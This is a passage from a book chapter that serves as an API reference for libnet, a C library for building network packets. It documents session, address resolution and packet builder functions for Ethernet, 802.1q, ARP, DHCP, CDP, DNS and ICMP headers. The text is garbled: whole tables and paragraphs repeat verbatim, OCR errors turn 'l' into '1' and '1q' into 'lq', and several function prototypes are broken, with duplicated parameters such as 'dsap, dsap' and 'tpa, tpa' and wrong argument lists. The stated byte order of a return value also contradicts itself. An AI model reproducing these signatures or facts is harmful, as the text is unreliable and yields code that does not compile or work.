advantage of some of libnet's more powerful and potentially dangerous features as discussed later in this
chapter.



  int libnet_write (libnet_t *1);

libnet_write() writes packet(s) to the network. Depending on what control flags are set, this function

writes one or more packets to the network-pulling all of the information it needs from 1. Upon success, the
program returns the number of bytes written to the network interface; upon failure, it returns -1 and
libnet_geterr() can tell you why.

  void libnet_clear_packet(libnet_t *1);

libnet_clear_packet() clears all packet memory associated with 1. It is useful if the application

programmer needs to build a packet of one type, send it, and then build and send a different packet type.

  void libnet_destroy (libnet_t *1);

libnet_destroy() shuts down the libnet session referenced by 1. It closes the network interface and
frees all internal memory structures associated with 1.

 



 

Address Resolution Functions

The address resolution functions provide libnet programmers with a convenient way to resolve address issues
of one kind or another. Table 3.2 details the symbolic constants that the use_name variable can be in the first

three functions.

Table 3.2: libnet IP Address Resolution Symbolic Constants

CONSTANT MEANING

LIBNET_RESOLVE Attempt to resolve the IP address into a hostname or vice-versa.

LIBNET_DONT_RESOLVE Do not attempt a name lookup.

  u_char *libnet_addr2name4(u_long in, u_short use_name);

libnet_addr2name4() converts a big-endian IPv4 address to a presentation format human-readable
string. If use_name is LIBNET_DONT_RESOLVE or if the internal lookup fails, the function will return a string
consisting of dots and decimals (for example, "192.168.2.100"). If use_name is LIBNET_RESOLVE, the

function attempts to resolve the IP address into a hostname, which might incur a Domain Name Service
(DNS) or Yellow Pages (YP) lookup and could take some time to complete. Upon success, the function
returns a pointer to a human-readable string. Ostensibly, the function cannot fail.

  void libnet_addr2name4_r(u_long in, u_short use_name, u_char
  *hostname, int hostname_len);

libnet_addr2name4_r() provides the same functionality as libnet_addr2name4() with the notable
difference of being reentrant. hostname, which should be a preallocated buffer of size hostname_len will

hold the results of the function.

  u_long libnet_name2addr4(u_char *hostname, u_short use_name);

libnet_name2addr4() resolves hostname into a big-endian IPv4 address. If use_name is
LIBNET_RESOLVE, the function expects host_name to be a presentation format hostname (for example,

"foobar.com"). This situation has the potential to incur a DNS or YP reverse lookup, which again could take
an appreciable amount of time to complete. If this internal lookup fails, the function cannot recover. If
use_name is LIBNET_DONT_RESOLVE, the function expects hostname to be a dots and decimals

presentation format string. Upon success, the function returns a little-endian IPv4 address; upon failure, the
function returns -1 and libnet_geterror() can tell you why.



Note The error value of -1 is actually the IP address 255.255.255.255. Professionals so rarely encounter

this situation in practice that we overlook this one fringe case here.

  u_long libnet_get_ipaddr4(libnet_t *1);

libnet_get_ipaddr4() returns the little-endian IPv4 address of the interface associated with 1. Upon
success, the function returns a little-endian IPv4 address; upon failure, the function returns -1 and
libnet_geterror() can tell you why.

Note The error value of -1 is actually the IP address 255.255.255.255. This situation is so rarely

encountered in practice that we overlook this one fringe case here.

  void libnet_addr2name6_r(struct libnet_in6_addr, u_short
use_name, u_char *hostname, int hostname_len);

libnet_addr2name6() converts an IPv6 address to a presentation format human-readable string. If
use_name is LIBNET_DONT_RESOLVE or if the internal lookup fails, the function will return a string
consisting of dots and decimals (for example, "3ffe:3700:402:0:210:a4ff:fe12:fec4"). If use_name
is LIBNET_RESOLVE, the function attempts to resolve the IP address into a hostname, which might incur a

DNS lookup and could take some time to complete. Upon success, the function returns a pointer to a human-
readable string. Ostensibly, the function cannot fail.

  struct libnet_in6_addr libnet_name2addr6(libnet_t *1, u_char
  *hostname, u_short use_name);

libnet_name2addr6() resolves hostname into an IPv6 address. If use_name is LIBNET_RESOLVE, the
function expects host_name to be a presentation format hostname (for example, "foobar.com"). This

situation has the potential to incur a DNS lookup, which could take an appreciable amount of time to
complete. If this internal lookup fails, the function cannot recover. If use_name is LIBNET_DONT_RESOLVE,
the function expects host_name to be a colons and hexidecimals presentation format string. Upon success,
the function returns an IPv6 address structure; upon failure, the function returns in6addr_error and
libnet_geterror() can tell you why.

  struct ether_addr *libnet_get_hwaddr (libnet_t *1);

libnet_get_hwaddr() culls the hardware address from the device that 1 references. Upon success, the
function returns the hardware address of the device. Upon failure, the function returns NULL and
libnet_geterror() tells you why.

Note While this function's name implies "Hardware Address," it actually returns Ethernet addresses only.

  u_char *libnet_hex_aton(char *s, int *len);



libnet_hex_aton() parses an arbitrarily sized hexadecimal character string s and returns its byte string
equivalent, storing the length in len. Upon success, the function returns a byte string suitable for use in
subsequent libnet functions and len will contain the size of the byte string; upon failure, the function returns
NULL. The function can only fail if an illegal token is encountered within the character string. The function

expects s to be of the format "xx:xx:xx … xx:xx:xx" where "xx" is a hexadecimal digit.

Note This function does an implicit malloc() and as such, the returned string should be free()'d when it is
finished being used.

 



 

Packet Builder Functions

The core of libnet is the platform-independent packet-building functionality. These functions enable an
application programmer to build protocol headers (and data) in a simple and consistent manner without
having to worry (too much) about low-level network odds and ends. Each libnet_build() function builds

a piece of a packet (generally a protocol header). While it is perfectly possible to build an entire, ready-to-
transmit packet with a single call to a libnet_build() function, generally more than one builder-class

function call is required to construct a full packet. A "complete" wire-ready packet generally consists of more
than one piece.

Every function that builds a protocol header takes a series of arguments roughly corresponding to the header
values as they appear on the wire. This process is intuitive but often makes for functions with huge prototypes
and large stack frames.

One important thing to note is that you must call these functions in order, corresponding to how they should
appear on the wire (from the highest protocol layer on down). This building process is intuitive; it approximates
what happens in an operating system kernel. In other words, to build a Network Time Protocol (NTP) packet
by using the link-layer interface, the application programmer would call the libnet_build() functions in the
following order:

libnet_build_ntp()1.

libnet_build_udp()2.

libnet_build_ipv4()3.

libnet_build_ethernet()4.

This ordering is essential for libnet 1.1.0 to properly link together the packet internally (previous libnet versions
did not have the requirement).

Figure 3.2 shows the protocols that libnet's packet construction functionality support and their general
relationships within the context of the ISO Open Systems Interconnectivity (OSI) 7 layer model. Note that
libnet supports arbitrary application programmer specified protocols via the libnet_build_data()

interface (the "other" protocols).

Figure 3.2: Libnet-supported protocols and their relationships.



All standard libnet_build() functions take the same final four arguments, as Table 3.3 summarizes.

Table 3.3: Packet Builder Function Final Four Arguments

ARGUMENT DATATYPE MEANING OPTIONAL?

payload u_char * Pointer to a byte array containing a payload Yes (NULL)

payload_s u_long Size of the payload Yes (0)

1 libnet_t Pointer to the libnet descriptor No

ptag libnet_ptag_t ID of the protocol unit to modify Yes (0)

The optional arguments are just that, and the value in parentheses can replace them if they are not to be
used.

The four libnet_build() functions that do not take the same final four arguments are as follows:

libnet_autobuild_ethernet(). No payload or ptag

libnet_autobuild_ipv4(). No payload, payload_s, or ptag

libnet_build_ipv4_options(). No payload or payload_s

libnet_build_tcp_options(). No payload or payload_s

The Payload Interface

The payload interface specifies an optional way to include data directly after the protocol header in question.
You can use this function for a variety of purposes, including the following:

Including additional or arbitrary protocol header information that is not available from a libnet interface

Including a packet payload (data segment)

Building another protocol header that is not available from a libnet interface

To employ the interface, the application programmer should construct the payload data and pass a u_char *
to this data and its size to the desired libnet_build() function. Libnet handles the rest. The example code

at the end of this chapter employs this interface to include a packet payload after a UDP header.

Libnet Header Sizes

Certain libnet_build() functions require packet length arguments. For example,
libnet_build_ipv4() requires the application programmer to specify the entire IP packet length as the

first argument. To make this process easier, libnet includes a list of symbolic constants corresponding to
header length values in bytes for every supported protocol (for protocols with variable sized headers, the only
base header size is defined). This list appears in Table 3.4.



Table 3.4: Header Sizes

PROTOCOL HEADER SIZE SYMBOLIC CONSTANT

802.1q 18 bytes LIBNET_802_1Q_H

802.2 (LLC) 3 bytes LIBNET_802_2_H

802.2 (LLC/SNAP) 8 bytes LIBNET_802_2SNAP_H

802.3 14 bytes LIBNET_802_3_H

ARP (base) 8 bytes LIBNET_ARP_H

ARP (Ethernet) 28 bytes LIBNET_ARP_ETH_H

CDP 8 bytes LIBNET_CDP_H

DHCPv4 240 bytes LIBNET_DHCPV4_H

DNSv4 12 bytes LIBNET_DNS_H

DIX Ethernet II 14 bytes LIBNET_ETHERNET_H

ICMPv4 echo 8 bytes LIBNET_ICMPV4_ECHO_H

ICMPv4 mask 12 bytes LIBNET_ICMPV4_MASK_H

ICMPv4 unreachable 8 bytes LIBNET_ICMPV4_UNREACH_H

ICMPv4 time-exceeded 8 bytes LIBNET_ICMPV4_TIMEXCEED_H

ICMPv4 redirect 8 bytes LIBNET_ICMPV4_REDIRECT_H



PROTOCOL HEADER SIZE SYMBOLIC CONSTANT

ICMPv4 timestamp 20 bytes LIBNET_ICMPV4_TS_H

IGMP 8 bytes LIBNET_IGMP_H

IPv4 20 bytes LIBNET_IPV4_H

IPv6 40 bytes LIBNET_IPV6_H

IPSEC ESP header 12 bytes LIBNET_IPSEC_ESP_HDR_H

IPSEC ESP trailer 2 bytes LIBNET_IPSEC_ESP_FTR_H

IPSEC AH 16 bytes LIBNET_IPSEC_AH_H

OSPFv2 16 bytes LIBNET_OSPF_H

OSPFv2 hello 24 bytes LIBNET_OSPF_HELLO_H

OSPFv2 DBD 8 bytes LIBNET_DBD_H

OSPFv2 LSR 12 bytes LIBNET_LSR_H

OSPFv2 LSU 4 bytes LIBNET_LSU_H

OSPFv2 LSA 20 bytes LIBNET_LSA_H

NTP 48 bytes LIBNET_NTP_H

RIP 24 bytes LIBNET_RIP_H

STP 35 bytes LIBNET_STP_H

ICMPv4 timestamp 20 bytes LIBNET_ICMPV4_TS_H

IGMP 8 bytes LIBNET_IGMP_H

IPv4 20 bytes LIBNET_IPV4_H

IPv6 40 bytes LIBNET_IPV6_H

IPSEC ESP header 12 bytes LIBNET_IPSEC_ESP_HDR_H

IPSEC ESP trailer 2 bytes LIBNET_IPSEC_ESP_FTR_H

IPSEC AH 16 bytes LIBNET_IPSEC_AH_H

OSPFv2 16 bytes LIBNET_OSPF_H

OSPFv2 hello 24 bytes LIBNET_OSPF_HELLO_H

OSPFv2 DBD 8 bytes LIBNET_DBD_H

OSPFv2 LSR 12 bytes LIBNET_LSR_H

OSPFv2 LSU 4 bytes LIBNET_LSU_H

OSPFv2 LSA 20 bytes LIBNET_LSA_H

NTP 48 bytes LIBNET_NTP_H

RIP 24 bytes LIBNET_RIP_H

STP 35 bytes LIBNET_STP_H



PROTOCOL HEADER SIZE SYMBOLIC CONSTANT

TCP 20 bytes LIBNET_TCP_H

UDP 8 bytes LIBNET_UDP_H

VRRP 8 bytes LIBNET_VRRP_H

Protocol Tags and Libnet Packet Builder Return Values

Libnet uses the protocol tag (ptag) to identify individual pieces of a packet after being created. A new ptag
results every time a libnet_ build() function with an empty (0) ptag argument completes successfully.
This new ptag now refers to the packet piece just created. The application programmer's responsibility is to

save this value if he or she plans to modify this particular portion later on in the program. If the application
programmer needs to modify some values of that particular packet piece again, he or she calls the same
libnet_build() function specifying the saved ptag argument. Libnet then searches for that packet piece
and modifies it rather than creating a new one. Upon failure for any reason, libnet_build() functions
return -1; libnet_geterror() tells you why.

  libnet_ptag_t libnet_build_802_lq(u_char *dst, u_char *src,
  u_short tpi, u_char priority, u_char cfi, u_short vid,
  u_short len, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_802_lq() builds an IEEE 802.lq VLAN tagging header. Depending on the value of len, the

function wraps the 802.lq header inside either an IEEE 802.3 header or an RFC 894 Ethernet II (DIX) header
(both resulting in an 18-byte frame). If len is 1500 or less, most receiving protocol stacks parse the frame as

an IEEE 802.3 encapsulated frame. If len is one of the Ethernet types in Table 3.6, most protocol stacks
parse the frame as an RFC 894 Ethernet II encapsulated frame. The function takes arguments (see Table
3.5).

Table 3.5: libnet_build_802_lq() Arguments

TCP 20 bytes LIBNET_TCP_H

UDP 8 bytes LIBNET_UDP_H

VRRP 8 bytes LIBNET_VRRP_H

Protocol Tags and Libnet Packet Builder Return Values

Libnet uses the protocol tag (ptag) to identify individual pieces of a packet after being created. A new ptag
results every time a libnet_ build() function with an empty (0) ptag argument completes successfully.
This new ptag now refers to the packet piece just created. The application programmer's responsibility is to

save this value if he or she plans to modify this particular portion later on in the program. If the application
programmer needs to modify some values of that particular packet piece again, he or she calls the same
libnet_build() function specifying the saved ptag argument. Libnet then searches for that packet piece
and modifies it rather than creating a new one. Upon failure for any reason, libnet_build() functions
return -1; libnet_geterror() tells you why.

  libnet_ptag_t libnet_build_802_lq(u_char *dst, u_char *src,
  u_short tpi, u_char priority, u_char cfi, u_short vid,
  u_short len, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_802_lq() builds an IEEE 802.lq VLAN tagging header. Depending on the value of len, the

function wraps the 802.lq header inside either an IEEE 802.3 header or an RFC 894 Ethernet II (DIX) header
(both resulting in an 18-byte frame). If len is 1500 or less, most receiving protocol stacks parse the frame as

an IEEE 802.3 encapsulated frame. If len is one of the Ethernet types in Table 3.6, most protocol stacks
parse the frame as an RFC 894 Ethernet II encapsulated frame. The function takes arguments (see Table
3.5).

Table 3.5: libnet_build_802_lq() Arguments



ARGUMENT MEANING

dst destination MAC address

src source MAC address

tpi tag protocol identifier

priority priority

cfi canonical format indicator, should be 1 or 0

vid VLAN identifier

len 802.3: length of the frame (SANS 802.1 q), Ethernet II: layer 3 protocol

Table 3.6: Ethernet-Type Symbolic Constants

CONSTANT MEANING

ETHERTYPE_PUP PUP protocol

ETHERTYPE_IP IP protocol

ETHERTYPE_ARP ARP protocol

ETHERTYPE_REVARP RARP protocol

ETHERTYPE_VLAN IEEE 802. 1Q VLAN tagging

ETHERTYPE_LOOPBACK test

Table 3.6 summarizes the different Ethernet-type symbolic constants associated with len (for an RFC 894

encapsulated frame). These constants specify the layer 3 protocol in several link-layer protocols, including
802.lq., 802.2, ARP, RARP, and Ethernet II.



  libnet_ptag_t libnet_build_802_2(u_char dsap, u_char dsap,
  u_char control, u_char *payload, u_long payload_s, libnet_t
  *1, libnet_ptag_t ptag);

libnet_build_802_2() builds an IEEE 802.2 link-layer control (LLC) header. The function takes

arguments (see Table 3.7).

Table 3.7: libnet_build_802_2() Arguments

ARGUMENT MEANING

dsap destination service access point

ssap destination service access point

control control

Table 3.6 summarizes the different symbolic constants for type. Table 3.8 summarizes the different values for
some of the service access point values.

Table 3.8: Service Access Point Symbolic Constants

CONSTANT MEANING

LIBNET_SAP_STP spanning tree protocol header follows

LIBNET_SAP_SNAP SNAP header follows

  libnet_ptag_t libnet_build_802_2snap(u_char dsap, u_char
  dsap, u_char control, u_char *oui, u_short type, u_char
  *payload, u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_802_2snap() builds an IEEE 802.2 Link-Layer Control/Subnetwork Attachment Point

(LLC/SNAP) header. The function takes arguments (see Table 3.9).

Table 3.9: libnet_build_802_2snap() Arguments

ARGUMENT MEANING



ARGUMENT MEANING

dsap destination service access point (should be Oxaa)

ssap destination service access point (should be Oxaa)

control control

oui 3-byte organizationally unique identifier

type upper layer protocol

Table 3.6 summarizes the different symbolic constants for type.

  libnet_ptag_t libnet_build_802_3(u_char *dst, u_char *src,
  u_short tpi, u_char priority, u_char cfi, u_short vid,
  u_short len, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_802_3() builds an IEEE 802.3 header. The 802.3 header is almost identical to the RFC

894 Ethernet II header-the exception being that the field immediately following the source address holds the
frame's length (as opposed to the layer 3 protocol). You should only use this function when libnet is initialized
with the LIBNET_LINK interface. The function takes arguments (see Table 3.10).

Table 3.10: libnet_build_802_3() Arguments

ARGUMENT MEANING

dst destination MAC address

src source MAC address

len frame's entire length SANS 802.3 header

The reader should note that an 802.2 LLC/SNAP header generally always proceeds the 802.3 header.

  libnet_ptag_t libnet_build_arp(u_short hrd, u_short pro,
  u_short hln, u_short pln, u_short op, u_char *sha, u_char

dsap destination service access point (should be Oxaa)

ssap destination service access point (should be Oxaa)

control control

oui 3-byte organizationally unique identifier

type upper layer protocol

Table 3.6 summarizes the different symbolic constants for type.

  libnet_ptag_t libnet_build_802_3(u_char *dst, u_char *src,
  u_short tpi, u_char priority, u_char cfi, u_short vid,
  u_short len, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_802_3() builds an IEEE 802.3 header. The 802.3 header is almost identical to the RFC

894 Ethernet II header-the exception being that the field immediately following the source address holds the
frame's length (as opposed to the layer 3 protocol). You should only use this function when libnet is initialized
with the LIBNET_LINK interface. The function takes arguments (see Table 3.10).

Table 3.10: libnet_build_802_3() Arguments

ARGUMENT MEANING

dst destination MAC address

src source MAC address

len frame's entire length SANS 802.3 header

The reader should note that an 802.2 LLC/SNAP header generally always proceeds the 802.3 header.

  libnet_ptag_t libnet_build_arp(u_short hrd, u_short pro,
  u_short hln, u_short pln, u_short op, u_char *sha, u_char



  *spa, u_char *tpa, u_char *tpa, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_arp() builds an Address Resolution Protocol (ARP) header. Depending on the op value,

the function builds one of several different types of RFC 826 ARP or RFC 903 RARP packets. The function
takes arguments (see Table 3.11).

Table 3.11: libnet_build_arp() Arguments

ARGUMENT MEANING

hrd hardware address format

pro protocol address format

hln hardware address length

pln protocol address length

op ARP operation type

sha sender's hardware address

spa sender's protocol address

tha target's hardware address

tpa target's protocol address

Table 3.12 summarizes the different symbolic constants associated with hrd.

Table 3.12: libnet_build_arp() Hardware Address Symbolic Constants

CONSTANT MEANING

ARPHRD_NETROM KA9Q: NET/ROM pseudo

ARPHRD_ETHER Ethernet (10Mbps and higher)



CONSTANT MEANING

ARPHRD_ETHER Ethernet (10Mbps and higher)

ARPHRD_EETHER Experimental Ethernet (3Mbps)

ARPHRD_AX25 Amateur Radio AX.25 Level 2

ARPHRD_PRONET PROnet token ring

ARPHRD_CHAOS Chaosnet

ARPHRD_IEEE802 IEEE 802.2 networks

ARPHRD_ARCNET ARCnet

ARPHRD_APPLETLK APPLEtalk

ARPHRD_DLCI Frame Relay DLCI

ARPHRD_ATM ATM

ARPHRD_METRICOM Metricom STRIP

ARPHRD_IPSEC IP sec tunnel

Table 3.6 summarizes the different symbolic constants for pro. Table 3.13 summarizes the different
symbolic constants associated with op.

Table 3.13: libnet_build_arp() Operation Type Symbolic Constants

CONSTANT MEANING

ARPOP_REQUEST request

ARPOP_REPLY reply

ARPHRD_ETHER Ethernet (10Mbps and higher)

ARPHRD_EETHER Experimental Ethernet (3Mbps)

ARPHRD_AX25 Amateur Radio AX.25 Level 2

ARPHRD_PRONET PROnet token ring

ARPHRD_CHAOS Chaosnet

ARPHRD_IEEE802 IEEE 802.2 networks

ARPHRD_ARCNET ARCnet

ARPHRD_APPLETLK APPLEtalk

ARPHRD_DLCI Frame Relay DLCI

ARPHRD_ATM ATM

ARPHRD_METRICOM Metricom STRIP

ARPHRD_IPSEC IP sec tunnel

Table 3.6 summarizes the different symbolic constants for pro. Table 3.13 summarizes the different
symbolic constants associated with op.

Table 3.13: libnet_build_arp() Operation Type Symbolic Constants

CONSTANT MEANING

ARPOP_REQUEST request



CONSTANT MEANING

ARPOP_REPLY reply

ARPOP_REVREQUEST request reverse (RARP)

ARPOP_REVREPLY reply reverse (RARP)

ARPOP_INVREQUEST InARP request

ARPOP_INVREPLY InARP reply

  libnet_ptag_t libnet_build_bootpv4(u_char opcode, u_char
  htype, u_char hlen, u_char hopcount, u_long xid, u_short
  secs, u_short unused, u_long cip, u_long yip, u_long sip,
  u_long gip, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_bootpv4() builds an IP version 4 RFC 951 Bootstrap Protocol header. The function takes

arguments (see Table 3.14).

Table 3.14: libnet_build_bootpv4() Arguments

ARGUMENT MEANING

opcode operation code

htype hardware address type

hlen hardware length

hopcount hop count used by proxy servers

xid transaction id

secs number of seconds since transaction began

ARPOP_REPLY reply

ARPOP_REVREQUEST request reverse (RARP)

ARPOP_REVREPLY reply reverse (RARP)

ARPOP_INVREQUEST InARP request

ARPOP_INVREPLY InARP reply

  libnet_ptag_t libnet_build_bootpv4(u_char opcode, u_char
  htype, u_char hlen, u_char hopcount, u_long xid, u_short
  secs, u_short unused, u_long cip, u_long yip, u_long sip,
  u_long gip, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_bootpv4() builds an IP version 4 RFC 951 Bootstrap Protocol header. The function takes

arguments (see Table 3.14).

Table 3.14: libnet_build_bootpv4() Arguments

ARGUMENT MEANING

opcode operation code

htype hardware address type

hlen hardware length

hopcount hop count used by proxy servers

xid transaction id



ARGUMENT MEANING

secs number of seconds since transaction began

unused unused or used as flags

cip client IP address

yip your IP address

sip server IP address

gip gateway IP address

The BOOTP protocol also accepts optional additional variable length and size arguments. To include these,

the programmer uses the payload interface. Table 3.15 summarizes the opcode symbolic constants.

Table 3.15: libnet_build_bootpv4() Operation Code Symbolic Constants

CONSTANT MEANING

LIBNET_DHCP_REQUEST DHCP/BOOTP request

LIBNET_DHCP_REPLY DHCP/BOOTP reply

  libnet_ptag_t libnet_build_cdp(u_char version, u_char ttl,
  u_short sum, u_short type, u_short len, u_char *value, u_char
  *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag);

libnet_build_cdp() builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP to

aid in the network management of adjacent Cisco devices. The function takes arguments (see Table 3.16).

Table 3.16: libnet_build_cdp() Arguments

ARGUMENT MEANING

version version

secs number of seconds since transaction began

unused unused or used as flags

cip client IP address

yip your IP address

sip server IP address

gip gateway IP address

The BOOTP protocol also accepts optional additional variable length and size arguments. To include these,

the programmer uses the payload interface. Table 3.15 summarizes the opcode symbolic constants.

Table 3.15: libnet_build_bootpv4() Operation Code Symbolic Constants

CONSTANT MEANING

LIBNET_DHCP_REQUEST DHCP/BOOTP request

LIBNET_DHCP_REPLY DHCP/BOOTP reply

  libnet_ptag_t libnet_build_cdp(u_char version, u_char ttl,
  u_short sum, u_short type, u_short len, u_char *value, u_char
  *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag);

libnet_build_cdp() builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP to

aid in the network management of adjacent Cisco devices. The function takes arguments (see Table 3.16).

Table 3.16: libnet_build_cdp() Arguments

ARGUMENT MEANING



ARGUMENT MEANING

version version

ttl time information in the packet should be retained by the recipient

sum checksum

type packet type

len length of the value argument in bytes

value a type defined byte string

The CDP protocol also accepts an arbitrary number of additional "type / length / value" arguments. To include
these, the programmer could either use the payload interface or libnet_build_data() to construct them.

Table 3.17 summarizes the type symbolic constants.

Table 3.17: libnet_build_cdp() Type Symbolic Constants

CONSTANT MEANING

LIBNET_CDP_DEVID device id

LIBNET_CDP_ADDRESS address(es) for the interface the CDP packet is being sent on

LIBNET_CDP_PORTID port id for the interface the CDP packet is being sent on

LIBNET_CDP_CAPABIL device capabilities

LIBNET_CDP_VERSION software version

LIBNET_CDP_PLATFORM hardware platform

LIBNET_CDP_IPPREFIX ip prefix

version version

ttl time information in the packet should be retained by the recipient

sum checksum

type packet type

len length of the value argument in bytes

value a type defined byte string

The CDP protocol also accepts an arbitrary number of additional "type / length / value" arguments. To include
these, the programmer could either use the payload interface or libnet_build_data() to construct them.

Table 3.17 summarizes the type symbolic constants.

Table 3.17: libnet_build_cdp() Type Symbolic Constants

CONSTANT MEANING

LIBNET_CDP_DEVID device id

LIBNET_CDP_ADDRESS address(es) for the interface the CDP packet is being sent on

LIBNET_CDP_PORTID port id for the interface the CDP packet is being sent on

LIBNET_CDP_CAPABIL device capabilities

LIBNET_CDP_VERSION software version

LIBNET_CDP_PLATFORM hardware platform

LIBNET_CDP_IPPREFIX ip prefix



  libnet_ptag_t libnet_build_data(u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_data() builds a generic data unit. This function does not build a specific protocol header;

rather, it appends an application programmer-specified block of data to the end of the packet list. Other than
having no header arguments, it behaves exactly the same as every other protocol builder function.

  libnet_ptag_t libnet_build_dhcpv4(u_char opcode, u_char
  htype, u_char hlen, u_char hopcount, u_long xid, u_short
  secs, u_short flags, u_long cip, u_long yip, u_long sip,
  u_long gip, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_dhcpv4() builds an IP version 4 RFC 2131 Dynamic Host Configuration Protocol header.
The use of this function is identical to libnet_build_bootpv4().

  libnet_ptag_t libnet_build_dnsv4(u_short id, u_short flags,
  u_short num_q, u_short num_anws_rr, u_short num_auth_rr,
  u_short num_addi_rr, u_char *payload, u_long payload_s,
  libnet_t *1, libnet_ptag_t ptag);

libnet_build_dnsv4() builds an RFC 1035 IP version 4 DNS header. The function takes arguments

(see Table 3.18).

Table 3.18: libnet_build_dnsv4() Arguments

ARGUMENT MEANING

id ID

flags control flags

num_q number of questions

num_anws_rr number of answer resource records

num_auth_rr number of authority resource records

num_addi_rr number of additional resource records



  libnet_ptag_t libnet_build_ethernet(u_char *dst, u_char *src,
  u_short type, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_ethernet() builds an RFC 894 Ethernet II header. The RFC 894 Ethernet II header is

almost identical to the IEEE 802.3 header, with the exception that the field immediately following the source
address holds the layer 3 protocol (as opposed to frame's length). You should only use this function when
libnet is initialized with the LIBNET_LINK interface. The function takes arguments (see Table 3.19).

Table 3.19: libnet_build_ethernet() Arguments

ARGUMENT MEANING

dst destination Ethernet address

src source Ethernet address

type type of data to follow (upper layer protocol)

The type symbolic constants are the Ethernet type symbolic constants in Table 3.6.

  libnet_ptag_t libnet_autobuild_ethernet(u_char *dst, u_short type,
  libnet_t *1);

libnet_autobuild_ethernet() auto builds an Ethernet protocol header. The function is useful to build
an Ethernet header quickly when the extra functionality is not needed. The function takes the same dst and
type arguments (see Table 3.19). The function does not accept a ptag argument, but it does return a
ptag. In other words, you can use it to build a new Ethernet header but not to modify an existing one.

  libnet_ptag_t libnet_build_icmpv4_echo(u_char type, u_char
  code, u_short sum, u_short id, u_short seq, u_char *payload,
u_long payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_icmpv4_echo() builds an IP version 4 RFC 792 Internet Control Message Protocol echo

request/reply header. The function takes arguments (see Table 3.20).

Table 3.20: libnet_build_icmpv4_echo() Arguments



ARGUMENT MEANING

type type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO)

code code of ICMP packet (should be 0)

sum checksum

id identification number

seq sequence number

  libnet_ptag_t libnet_build_icmpv4_mask(u_char type, u_char
  code, u_short sum, u_short id, u_short seq, u_long mask,
u_char *payload, u_long payload_s, libnet_t *1,
libnet_ptag_t ptag);

libnet_build_icmpv4_mask() builds an IP version 4 RFC 792 Internet Control Message Protocol IP

netmask request/reply header. The function takes arguments (see Table 3.21).

Table 3.21: libnet_build_icmpv4_mask() Arguments

ARGUMENT MEANING

type type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY)

code code of ICMP packet (should be 0)

sum checksum

id identification number

seq sequence number

mask subnet mask



  libnet_ptag_t libnet_build_icmpv4_timestamp(u_char type,
  u_char code, u_short sum, u_short id, u_short seq, n_time
  otime, n_time rtime, n_time ttime, u_char *payload, u_long
  payload_s, libnet_t *1, libnet_ptag_t ptag);

libnet_build_icmpv4_timestamp() builds an IP version 4 RFC 792 Internet Control Message Protocol

timestamp request/reply header. The function takes arguments (see Table 3.22).

Table 3.22: libnet_build_icmpv4_timestamp() Arguments

ARGUMENT MEANING

type type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY)

code code of ICMP packet (should be 0)

sum checksum

id identification number

seq sequence number

otime originate timestamp

rtime receive timestamp

ttime transmit timestamp

  libnet_ptag_t libnet_build_icmpv4_unreach(u_char type, u_char
  code, u_short sum, u_short orig_len, u_char
  orig_tos, u_short orig_id, u_short orig_frag, u_char orig_ttl, u_char
  orig_prot, u_short orig_check, u_long orig_src, u_long
  orig_dst, u_char *payload, u_long payload_s, libnet_t *1,
  libnet_ptag_t ptag);

libnet_build_icmpv4_unreach() builds an IP version 4 RFC 792 Internet Control Message Protocol

unreachable header. The function takes arguments (see Table 3.23). The additional arguments enable the
application programmer to easily specify the original IP header values (the IP header of the packet that



supposedly caused the ICMP unreachable message in the first place).

Table 3.23: libnet_build_icmpv4_unreach() Arguments

ARGUMENT MEANING

type type of ICMP packet (should be ICMP_UNREACH)

code code of ICMP packet (should be one of the 16 unreachable codes)

sum checksum

orig_id original IP header identification

orig_frag original IP header fragmentation information

orig_ttl orginal IP header time to live

orig_prot original IP header protocol

orig_check original IP header checksum

orig_src original IP header source address

orig_dst original IP header destination address

  libnet_ptag_t libnet_build_icmpv4_timeexceed(u_char type,
  u_char code, u_short sum, u_short orig_len, u_char orig_tos,
  u_short orig_id, u_short orig_frag, u_char orig_ttl, u_char
  orig_prot, u_short orig_check, u_long orig_src, u_long
  orig_dst, u_char *payload, u_long payload_s, libnet_t *l,
  libnet_ptag_t ptag);

libnet_build_icmpv4_timeexceed() builds an IP version 4 RFC 792 Internet Control Message

Protocol time exceeded header. The function takes arguments (see Table 3.24). The additional arguments
enable the application programmer to easily specify the original IP header values (the IP header of the packet
that supposedly caused the ICMP time exceeded message in the first place).



Table 3.24: libnet_build_icmpv4_timeexceed() Arguments

ARGUMENT MEANING

type type of ICMP packet (should be ICMP_TIMXCEED)

code code of ICMP packet (should be either ICMP_TIMXCEED_INTRANS or
ICMP_TIMXCEED_REASS)

sum checksum

orig_id original IP header identification

orig_frag original IP header fragmentation information

orig_ttl orginal IP header time to live

orig_prot original IP header protocol

orig_check original IP header checksum

orig_src original IP header source address

orig_dst original IP header destination address

  libnet_ptag_t libnet_build_icmpv4_redirect(u_char type,
  u_char code, u_short sum, u_long gateway, u_short orig_len,
  u_char orig_tos, u_short orig_id, u_short orig_frag, u_char
  orig_ttl, u_char orig_prot, u_short orig_check, u_long
  orig_src, u_long orig_dst, u_char *payload, u_long payload_s,
  libnet_t *1, libnet_ptag_t ptag);

libnet_build_icmpv4_redirect() builds an IP version 4 RFC 792 Internet Message Control Protocol

